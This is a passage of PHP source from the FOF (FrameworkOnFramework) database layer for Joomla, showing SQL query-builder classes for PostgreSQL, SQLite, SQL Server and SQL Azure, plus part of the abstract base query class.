protected $forShare = null;
/**
* @var object The NOWAIT element used in "FOR SHARE" and
"FOR UPDATE" lock
* @since 11.3
*/
protected $noWait = null;
/**
* @var object The LIMIT element
* @since 11.3
*/
protected $limit = null;
/**
* @var object The OFFSET element
* @since 11.3
*/
protected $offset = null;
/**
* @var object The RETURNING element of INSERT INTO
* @since 11.3
*/
protected $returning = null;
/**
* Magic function to convert the query to a string, only for postgresql
specific query
*
* @return string The completed query.
*
* @since 11.3
*/
public function __toString()
{
$query = '';
switch ($this->type)
{
case 'select':
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this->forUpdate)
{
$query .= (string) $this->forUpdate;
}
else
{
if ($this->forShare)
{
$query .= (string) $this->forShare;
}
}
if ($this->noWait)
{
$query .= (string) $this->noWait;
}
break;
case 'update':
$query .= (string) $this->update;
$query .= (string) $this->set;
if ($this->join)
{
$onWord = ' ON ';
// Workaround for special case of JOIN with UPDATE
foreach ($this->join as $join)
{
$joinElem = $join->getElements();
$joinArray = explode($onWord, $joinElem[0]);
$this->from($joinArray[0]);
$this->where($joinArray[1]);
}
$query .= (string) $this->from;
}
if ($this->where)
{
$query .= (string) $this->where;
}
break;
case 'insert':
$query .= (string) $this->insert;
if ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->values->getElements();
if (!($elements[0] instanceof $this))
{
$query .= ' VALUES ';
}
$query .= (string) $this->values;
if ($this->returning)
{
$query .= (string) $this->returning;
}
}
break;
default:
$query = parent::__toString();
break;
}
if ($this instanceof FOFDatabaseQueryLimitable)
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
return $query;
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return FOFDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 11.3
*/
public function clear($clause = null)
{
switch ($clause)
{
case 'limit':
$this->limit = null;
break;
case 'offset':
$this->offset = null;
break;
case 'forUpdate':
$this->forUpdate = null;
break;
case 'forShare':
$this->forShare = null;
break;
case 'noWait':
$this->noWait = null;
break;
case 'returning':
$this->returning = null;
break;
case 'select':
case 'update':
case 'delete':
case 'insert':
case 'from':
case 'join':
case 'set':
case 'where':
case 'group':
case 'having':
case 'order':
case 'columns':
case 'values':
parent::clear($clause);
break;
default:
$this->type = null;
$this->limit = null;
$this->offset = null;
$this->forUpdate = null;
$this->forShare = null;
$this->noWait = null;
$this->returning = null;
parent::clear($clause);
break;
}
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
*
* @param string $value The value to cast as a char.
*
* @return string Returns the cast value.
*
* @since 11.3
*/
public function castAsChar($value)
{
return $value . '::text';
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 11.3
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return implode(' || ' . $this->quote($separator) . '
|| ', $values);
}
else
{
return implode(' || ', $values);
}
}
/**
* Gets the current date and time.
*
* @return string Return string used in query to obtain
*
* @since 11.3
*/
public function currentTimestamp()
{
return 'NOW()';
}
/**
* Sets the FOR UPDATE lock on select's output row
*
* @param string $table_name The table to lock
* @param string $glue The glue by which to join the conditions.
Defaults to ',' .
*
* @return FOFDatabaseQueryPostgresql FOR UPDATE query element
*
* @since 11.3
*/
public function forUpdate($table_name, $glue = ',')
{
$this->type = 'forUpdate';
if (is_null($this->forUpdate))
{
$glue = strtoupper($glue);
$this->forUpdate = new FOFDatabaseQueryElement('FOR
UPDATE', 'OF ' . $table_name, "$glue ");
}
else
{
$this->forUpdate->append($table_name);
}
return $this;
}
/**
* Sets the FOR SHARE lock on select's output row
*
* @param string $table_name The table to lock
* @param string $glue The glue by which to join the conditions.
Defaults to ',' .
*
* @return FOFDatabaseQueryPostgresql FOR SHARE query element
*
* @since 11.3
*/
public function forShare($table_name, $glue = ',')
{
$this->type = 'forShare';
if (is_null($this->forShare))
{
$glue = strtoupper($glue);
$this->forShare = new FOFDatabaseQueryElement('FOR SHARE',
'OF ' . $table_name, "$glue ");
}
else
{
$this->forShare->append($table_name);
}
return $this;
}
/**
* Used to get a string to extract year from date column.
*
* Usage:
*
$query->select($query->year($query->quoteName('dateColumn')));
*
* @param string $date Date column containing year to be extracted.
*
* @return string Returns string to extract year from a date.
*
* @since 12.1
*/
public function year($date)
{
return 'EXTRACT (YEAR FROM ' . $date . ')';
}
/**
* Used to get a string to extract month from date column.
*
* Usage:
*
$query->select($query->month($query->quoteName('dateColumn')));
*
* @param string $date Date column containing month to be extracted.
*
* @return string Returns string to extract month from a date.
*
* @since 12.1
*/
public function month($date)
{
return 'EXTRACT (MONTH FROM ' . $date . ')';
}
/**
* Used to get a string to extract day from date column.
*
* Usage:
*
$query->select($query->day($query->quoteName('dateColumn')));
*
* @param string $date Date column containing day to be extracted.
*
* @return string Returns string to extract day from a date.
*
* @since 12.1
*/
public function day($date)
{
return 'EXTRACT (DAY FROM ' . $date . ')';
}
/**
* Used to get a string to extract hour from date column.
*
* Usage:
*
$query->select($query->hour($query->quoteName('dateColumn')));
*
* @param string $date Date column containing hour to be extracted.
*
* @return string Returns string to extract hour from a date.
*
* @since 12.1
*/
public function hour($date)
{
return 'EXTRACT (HOUR FROM ' . $date . ')';
}
/**
* Used to get a string to extract minute from date column.
*
* Usage:
*
$query->select($query->minute($query->quoteName('dateColumn')));
*
* @param string $date Date column containing minute to be extracted.
*
* @return string Returns string to extract minute from a date.
*
* @since 12.1
*/
public function minute($date)
{
return 'EXTRACT (MINUTE FROM ' . $date . ')';
}
/**
* Used to get a string to extract seconds from date column.
*
* Usage:
*
$query->select($query->second($query->quoteName('dateColumn')));
*
* @param string $date Date column containing second to be extracted.
*
* @return string Returns string to extract second from a date.
*
* @since 12.1
*/
public function second($date)
{
return 'EXTRACT (SECOND FROM ' . $date . ')';
}
/**
* Sets the NOWAIT lock on select's output row
*
* @return FOFDatabaseQueryPostgresql NO WAIT query element
*
* @since 11.3
*/
public function noWait ()
{
$this->type = 'noWait';
if (is_null($this->noWait))
{
$this->noWait = new FOFDatabaseQueryElement('NOWAIT',
null);
}
return $this;
}
/**
* Set the LIMIT clause to the query
*
* @param integer $limit An int of how many row will be returned
*
* @return FOFDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 11.3
*/
public function limit($limit = 0)
{
if (is_null($this->limit))
{
$this->limit = new FOFDatabaseQueryElement('LIMIT', (int)
$limit);
}
return $this;
}
/**
* Set the OFFSET clause to the query
*
* @param integer $offset An int for skipping row
*
* @return FOFDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 11.3
*/
public function offset($offset = 0)
{
if (is_null($this->offset))
{
$this->offset = new FOFDatabaseQueryElement('OFFSET', (int)
$offset);
}
return $this;
}
/**
* Add the RETURNING element to INSERT INTO statement.
*
* @param mixed $pkCol The name of the primary key column.
*
* @return FOFDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 11.3
*/
public function returning($pkCol)
{
if (is_null($this->returning))
{
$this->returning = new FOFDatabaseQueryElement('RETURNING',
$pkCol);
}
return $this;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return FOFDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 12.1
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 12.1
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0)
{
$query .= ' LIMIT ' . $limit;
}
if ($offset > 0)
{
$query .= ' OFFSET ' . $offset;
}
return $query;
}
/**
* Add to the current date and time in Postgresql.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date to add to
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 13.1
* @note Not all drivers support all units. Check appropriate
references
* @link
http://www.postgresql.org/docs/9.0/static/functions-datetime.html.
*/
public function dateAdd($date, $interval, $datePart)
{
if (substr($interval, 0, 1) != '-')
{
return "timestamp '" . $date . "' + interval
'" . $interval . " " . $datePart . "'";
}
else
{
return "timestamp '" . $date . "' - interval
'" . ltrim($interval, '-') . " " . $datePart
. "'";
}
}
/**
* Return correct regexp operator for Postgresql.
*
* Ensure that the regexp operator is Postgresql compatible.
*
* Usage:
* $query->where('field ' . $query->regexp($search));
*
* @param string $value The regex pattern.
*
* @return string Returns the regex operator.
*
* @since 11.3
*/
public function regexp($value)
{
return ' ~* ' . $value;
}
/**
* Return correct rand() function for Postgresql.
*
* Ensure that the rand() function is Postgresql compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' RANDOM() ';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (!interface_exists('JDatabaseQueryPreparable'))
{
/**
* Joomla Database Query Preparable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 12.1
*/
interface JDatabaseQueryPreparable
{
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key',
but can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return FOFDatabaseQuery
*
* @since 12.1
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array());
/**
* Retrieves the bound parameters array when key is null and returns it
by reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 12.1
*/
public function &getBounded($key = null);
}
}
interface FOFDatabaseQueryPreparable extends JDatabaseQueryPreparable
{
}<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @since 11.1
*/
class FOFDatabaseQuerySqlazure extends FOFDatabaseQuerySqlsrv
{
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
*
* @since 11.1
*/
protected $name_quotes = '';
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* SQLite Query Building Class.
*
* @since 12.1
*/
class FOFDatabaseQuerySqlite extends FOFDatabaseQueryPdo implements
FOFDatabaseQueryPreparable, FOFDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 12.1
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 12.1
*/
protected $limit;
/**
* @var array Bounded object array
* @since 12.1
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return FOFDatabaseQuerySqlite
*
* @since 12.1
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 12.1
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
else
{
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
}
/**
* Gets the number of characters in a string.
*
* Note, use 'length' to find the number of bytes in a string.
*
* Usage:
* $query->select($query->charLength('a'));
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 13.1
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'length(' . $field . ')' . (isset($operator)
&& isset($condition) ? ' ' . $operator . ' ' .
$condition : '');
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return FOFDatabaseQuerySqlite Returns this object to allow chaining.
*
* @since 12.1
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
parent::clear($clause);
return $this;
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 11.1
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return implode(' || ' . $this->quote($separator) . '
|| ', $values);
}
else
{
return implode(' || ', $values);
}
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the FOFDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 12.1
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0 || $offset > 0)
{
$query .= ' LIMIT ' . $offset . ', ' . $limit;
}
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return FOFDatabaseQuerySqlite Returns this object to allow chaining.
*
* @since 12.1
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date or datetime to add to
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 13.1
* @link http://www.sqlite.org/lang_datefunc.html
*/
public function dateAdd($date, $interval, $datePart)
{
// SQLite does not support microseconds as a separate unit. Convert the
interval to seconds
if (strcasecmp($datePart, 'microseconds') == 0)
{
$interval = .001 * $interval;
$datePart = 'seconds';
}
if (substr($interval, 0, 1) != '-')
{
return "datetime('" . $date . "', '+"
. $interval . " " . $datePart . "')";
}
else
{
return "datetime('" . $date . "', '"
. $interval . " " . $datePart . "')";
}
}
/**
* Gets the current date and time.
*
* Usage:
* $query->where('published_up <
'.$query->currentTimestamp());
*
* @return string
*
* @since 3.4
*/
public function currentTimestamp()
{
return 'CURRENT_TIMESTAMP';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @since 11.1
*/
class FOFDatabaseQuerySqlsrv extends FOFDatabaseQuery implements
FOFDatabaseQueryLimitable
{
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 11.1
*/
protected $name_quotes = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 11.1
*/
protected $null_date = '1900-01-01 00:00:00';
/**
* @var integer The affected row limit for the current SQL statement.
* @since 3.2
*/
protected $limit = 0;
/**
* @var integer The affected row offset to apply for the current SQL
statement.
* @since 3.2
*/
protected $offset = 0;
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 11.1
*/
public function __toString()
{
$query = '';
switch ($this->type)
{
case 'select':
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this instanceof FOFDatabaseQueryLimitable &&
($this->limit > 0 || $this->offset > 0))
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
break;
case 'insert':
$query .= (string) $this->insert;
// Set method
if ($this->set)
{
$query .= (string) $this->set;
}
// Columns-Values method
elseif ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->insert->getElements();
$tableName = array_shift($elements);
$query .= 'VALUES ';
$query .= (string) $this->values;
if ($this->autoIncrementField)
{
$query = 'SET IDENTITY_INSERT ' . $tableName . '
ON;' . $query . 'SET IDENTITY_INSERT ' . $tableName . '
OFF;';
}
if ($this->where)
{
$query .= (string) $this->where;
}
}
break;
case 'delete':
$query .= (string) $this->delete;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'update':
$query .= (string) $this->update;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
$query .= (string) $this->set;
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
default:
$query = parent::__toString();
break;
}
return $query;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* @param string $value The value to cast as a char.
*
* @return string Returns the cast value.
*
* @since 11.1
*/
public function castAsChar($value)
{
return 'CAST(' . $value . ' as NVARCHAR(10))';
}
/**
* Gets the function to determine the length of a character string.
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 11.1
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'DATALENGTH(' . $field . ')' .
(isset($operator) && isset($condition) ? ' ' . $operator
. ' ' . $condition : '');
}
/**
* Concatenates an array of column names or values.
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 11.1
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return '(' . implode('+' .
$this->quote($separator) . '+', $values) . ')';
}
else
{
return '(' . implode('+', $values) . ')';
}
}
/**
* Gets the current date and time.
*
* @return string
*
* @since 11.1
*/
public function currentTimestamp()
{
return 'GETDATE()';
}
/**
* Get the length of a string in bytes.
*
* @param string $value The string to measure.
*
* @return integer
*
* @since 11.1
*/
public function length($value)
{
return 'LEN(' . $value . ')';
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date to add to; type may be time or
datetime.
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 13.1
* @note Not all drivers support all units.
* @link http://msdn.microsoft.com/en-us/library/ms186819.aspx for more
information
*/
public function dateAdd($date, $interval, $datePart)
{
return "DATEADD('" . $datePart . "',
'" . $interval . "', '" . $date .
"'" . ')';
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 12.1
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit == 0 && $offset == 0)
{
return $query;
}
$start = $offset + 1;
$end = $offset + $limit;
$orderBy = stristr($query, 'ORDER BY');
if (is_null($orderBy) || empty($orderBy))
{
$orderBy = 'ORDER BY (select 0)';
}
$query = str_ireplace($orderBy, '', $query);
$rowNumberText = ', ROW_NUMBER() OVER (' . $orderBy . ')
AS RowNumber FROM ';
$query = preg_replace('/\sFROM\s/i', $rowNumberText, $query,
1);
$query = 'SELECT * FROM (' . $query . ') A WHERE
A.RowNumber BETWEEN ' . $start . ' AND ' . $end;
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 12.1
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Return correct rand() function for MSSQL.
*
* Ensure that the rand() function is MSSQL compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' NEWID() ';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @since 11.1
*
* @method string q() q($text, $escape = true) Alias for quote
method
* @method string qn() qn($name, $as = null) Alias for quoteName
method
* @method string e() e($text, $extra = false) Alias for escape
method
* @property-read FOFDatabaseQueryElement $type
* @property-read FOFDatabaseQueryElement $select
* @property-read FOFDatabaseQueryElement $group
* @property-read FOFDatabaseQueryElement $having
*/
abstract class FOFDatabaseQuery
{
/**
* @var FOFDatabaseDriver The database driver.
* @since 11.1
*/
protected $db = null;
/**
* @var string The SQL query (if a direct query string was provided).
* @since 12.1
*/
protected $sql = null;
/**
* @var string The query type.
* @since 11.1
*/
protected $type = '';
/**
* @var FOFDatabaseQueryElement The query element for a generic query
(type = null).
* @since 11.1
*/
protected $element = null;
/**
* @var FOFDatabaseQueryElement The select element.
* @since 11.1
*/
protected $select = null;
/**
* @var FOFDatabaseQueryElement The delete element.
* @since 11.1
*/
protected $delete = null;
/**
* @var FOFDatabaseQueryElement The update element.
* @since 11.1
*/
protected $update = null;
/**
* @var FOFDatabaseQueryElement The insert element.
* @since 11.1
*/
protected $insert = null;
/**
* @var FOFDatabaseQueryElement The from element.
* @since 11.1
*/
protected $from = null;
/**
* @var FOFDatabaseQueryElement The join element.
* @since 11.1
*/
protected $join = null;
/**
* @var FOFDatabaseQueryElement The set element.
* @since 11.1
*/
protected $set = null;
/**
* @var FOFDatabaseQueryElement The where element.
* @since 11.1
*/
protected $where = null;
/**
* @var FOFDatabaseQueryElement The group by element.
* @since 11.1
*/
protected $group = null;
/**
* @var FOFDatabaseQueryElement The having element.
* @since 11.1
*/
protected $having = null;
/**
* @var FOFDatabaseQueryElement The column list for an INSERT
statement.
* @since 11.1
*/
protected $columns = null;
/**
* @var FOFDatabaseQueryElement The values list for an INSERT
statement.
* @since 11.1
*/
protected $values = null;
/**
* @var FOFDatabaseQueryElement The order element.
* @since 11.1
*/
protected $order = null;
/**
* @var object The auto increment insert field element.
* @since 11.1
*/
protected $autoIncrementField = null;
/**
* @var FOFDatabaseQueryElement The call element.
* @since 12.1
*/
protected $call = null;
/**
* @var FOFDatabaseQueryElement The exec element.
* @since 12.1
*/
protected $exec = null;
/**
* @var FOFDatabaseQueryElement The union element.
* @since 12.1
*/
protected $union = null;
/**
* @var FOFDatabaseQueryElement The unionAll element.
* @since 13.1
*/
protected $unionAll = null;
/**
* Magic method to provide method alias support for quote() and
quoteName().
*
* @param string $method The called method.
* @param array $args The array of arguments passed to the method.
*
* @return string The aliased method's return value or null.
*
* @since 11.1
*/
public function __call($method, $args)
{
if (empty($args))
{
return;
}
switch ($method)
{
case 'q':
return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
break;
case 'qn':
return $this->quoteName($args[0], isset($args[1]) ? $args[1] :
null);
break;
case 'e':
return $this->escape($args[0], isset($args[1]) ? $args[1] : false);
break;
}
}
/**
* Class constructor.
*
* @param FOFDatabaseDriver $db The database driver.
*
* @since 11.1
*/
public function __construct(FOFDatabaseDriver $db = null)
{
$this->db = $db;
}
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 11.1
*/
public function __toString()
{
$query = '';
if ($this->sql)
{
return $this->sql;
}
switch ($this->type)
{
case 'element':
$query .= (string) $this->element;
break;
case 'select':
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this->union)
{
$query .= (string) $this->union;
}
break;
case 'delete':
$query .= (string) $this->delete;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'update':
$query .= (string) $this->update;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
$query .= (string) $this->set;
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'insert':
$query .= (string) $this->insert;
// Set method
if ($this->set)
{
$query .= (string) $this->set;
}
// Columns-Values method
elseif ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->values->getElements();
if (!($elements[0] instanceof $this))
{
$query .= ' VALUES ';
}
$query .= (string) $this->values;
}
break;
case 'call':
$query .= (string) $this->call;
break;
case 'exec':
$query .= (string) $this->exec;
break;
}
if ($this instanceof FOFDatabaseQueryLimitable)
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
return $query;
}
/**
* Magic function to get protected variable value
*
* @param string $name The name of the variable.
*
* @return mixed
*
* @since 11.1
*/
public function __get($name)
{
return isset($this->$name) ? $this->$name : null;
}
/**
* Add a single column, or array of columns to the CALL clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The call method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->call('a.*')->call('b.id');
* $query->call(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 12.1
*/
public function call($columns)
{
$this->type = 'call';
if (is_null($this->call))
{
$this->call = new FOFDatabaseQueryElement('CALL',
$columns);
}
else
{
$this->call->append($columns);
}
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
